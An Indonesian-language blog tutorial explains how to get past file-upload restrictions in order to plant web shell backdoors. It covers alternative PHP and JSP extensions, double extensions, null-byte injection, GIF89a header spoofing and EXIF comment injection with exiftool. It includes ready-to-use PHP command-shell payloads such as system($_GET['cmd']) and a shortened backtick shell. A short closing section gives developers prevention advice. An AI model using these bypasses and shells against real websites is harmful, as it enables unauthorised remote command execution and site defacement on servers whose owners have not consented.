Pada artikel ini kami akan menjelaskan bagaimana Cara Bypass File Restriction untuk Upload Shell Backdoor. Jadi baca artikel ini sampai selesai.
Cara Bypass File Restriction
Metode pertama yang akan kita bahas adalah cara melewati backlist. backlist adalah jenis perlindungan di mana string data, ekstensi tertentu, secara eksplisit menolak yang dikirim ke server. Pada metode pertama, ini mungkin tampak seperti solusi optimal untuk mencegah ekstensi yang buruk, sering kali dapat dieksekusi.
1. Bypassing Blacklists
Selain ekstensi reguler, ada ekstensi alternatif yang dapat digunakan untuk menyiasati filter Backlist. Berikut adalah beberapa ekstensi untuk file PHP:
.pht, .phtml, .php3, .php4, .php5, .php6, .inc
Ekstensi populer lainnya untuk shell web adalah JSP, dan berikut adalah beberapa alternatif:
.jspx, .jspf, .jsw, .jsv
Dalam beberapa situasi, cukup mengubah ekstensi seperti dibawah dan dapat mengelabui filter agar menerima file masuk ke web, seperti:
.pHp, .Php, .phP
2. Bypassing Whitelists
Jenis pencegahan lain yang biasa ditemui di web adalah Whitelists. Whitelists justru kebalikan dari daftar hitam, di mana server hanya menerima ekstensi tertentu. Misalnya, aplikasi yang memungkinkan Anda mengunggah gambar profil mungkin hanya mengambil file JPG, JPEG, atau PNG. Meskipun jenis pencegahan ini lebih baik daripada Blacklists, itu masih dapat dengan mudah dilewati.
Beberapa server web, seperti Apache, mengizinkan file dengan ekstensi ganda. Itu berarti kita dapat mengelabui server agar menerima file PHP yang juga memiliki ekstensi JPG yang ditempelkan di bagian akhir:
shell.php.jpg
Kita juga dapat menggunakan injeksi byte null untuk melewati filter Whitelists. Apa pun setelah karakter null akan diabaikan ketika file disimpan, jadi menyuntikkan antara ekstensi terlarang dan ekstensi yang diizinkan dapat menyebabkan bypass:
shell.php%00.jpg
Atau
shell.php\x00.jpg
Ini juga dapat dilakukan dengan Burp dan memodifikasi permintaan hex. Beri nama file shell.phpD.jpg — kita akan mengganti karakter D dengan karakter null selama permintaan. Saat mengunggah file, cegat permintaan, buka tab hex, dan temukan representasi hex dari karakter D:
Cukup ganti 44 dengan 00 dan kirim permintaan:
Teknik ini dapat digunakan dalam situasi rumit di mana injeksi byte null standar tidak akan berfungsi.
Cara lain untuk mengalahkan daftar putih adalah dengan menipu server dengan header jenis file. Biasanya, jika fungsi unggah menerima gambar, itu akan menerima file GIF juga. Kita dapat menambahkan GIF89a; ke awal shell untuk mengelabui Hasil Upload:
GIF89a; <?php system($_GET['cmd']); ?>
3. Bypass File Exif Data
Metode selanjutnya untuk melewati bypass upload file menggunakan data Exif dalam gambar. Kita dapat memasukkan script yang berisi kode PHP valid yang akan dieksekusi oleh server ketika gambar diproses. Kita dapat menggunakan exiftool untuk melakukan ini jika belum diinstal, instal terlebih dahulu klik DISINI:
~# apt install exiftool
Kemudian kita dapat memasukkan shell perintah sederhana sebagai komentar di gambar kita:
~# exiftool -Comment="<?php system($_GET['cmd']); ?>" pic.jpg
Sekarang jika kita menggunakan perintah file pada gambar, kita dapat melihat kode berhasil dimasukkan:
~# file pic.jpg
pic.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "<?php system(['cmd']); ?>", baseline, precision 8, 1920x840, components 3
Yang harus kita lakukan sekarang adalah menambahkan ekstensi PHP sehingga dapat dieksekusi:
~# mv pic.jpg pic.php.jpg
Teknik ini dapat dikombinasikan dengan salah satu modifikasi melewati Blacklists atau Whitelists.
4. Cara Bypass Restriction Lainnya
Terkadang, satu-satunya hal yang mencegah file individual di upload adalah JavaScript sisi klien. Jika fungsi upload masih berfungsi tanpanya, cukup mematikan JavaScript di browser terkadang dapat mengalahkan restrictions. Jika itu tidak berhasil, mencegat permintaan dan mengubah ekstensi file dapat dengan mudah melewati filter sisi klien.
Tipe konten file juga dapat digunakan sebagai cara untuk memvalidasi konten yang di upload. Misalnya, unggahan gambar biasanya akan memeriksa bahwa jenis konten file adalah gambar, bukan skrip atau jenis file berbahaya lainnya. Jenis pencegahan ini dapat dengan mudah dilewati dengan mencegat permintaan dan mengubah jenis konten.
Dalam beberapa situasi, Konten juga dapat digunakan untuk memvalidasi file yang diunggah. Ini akan tergantung pada keadaan tertentu, tetapi seringkali yang diperlukan hanyalah muatan yang lebih pendek. Misalnya, shell perintah PHP yang khas dapat disingkat menjadi ini:
<?=`$_GET[x]`?>
Cara Mencegah Unrestricted File Uploads
Beberapa tindakan pencegahan yang dapat diambil Developer untuk mencegah Upload file yang tidak dibatasi dan mengurangi kemungkinan Defacer melewati batasan. Pertama dan terpenting, direktori tempat Upload disimpan seharusnya tidak memiliki izin eksekusi. Jika anda seorang admin web Pertimbangkan untuk menyimpan file dalam database daripada di sistem file.
Jenis file yang akan diunggah harus dibatasi seminimal mungkin untuk fungsionalitas web yang diperlukan. Selain itu, setiap karakter kontrol atau karakter khusus harus dibuka dari nama file dan ekstensi yang diunggah, dan hanya satu titik yang diizinkan. Selain itu, ukurannya harus dibatasi karena beberapa file besar dapat menyebabkan "lead to denial of service".
Setelah file diunggah, namanya harus diubah, idealnya, menjadi hash yang tidak dapat ditebak. Ini akan mencegah defacer dapat menemukan file mereka setelah diunggah. Juga bijaksana untuk mencegah file ditimpa, sehingga hash tidak dapat disimpulkan oleh hacker.
Kesimpulan
Dalam tutorial ini, Penulis membahas berbagai metode untuk mengatasi Bypass File Restriction untuk Upload Shell Backdoor yang umum. Terima kasih Sudah membaca.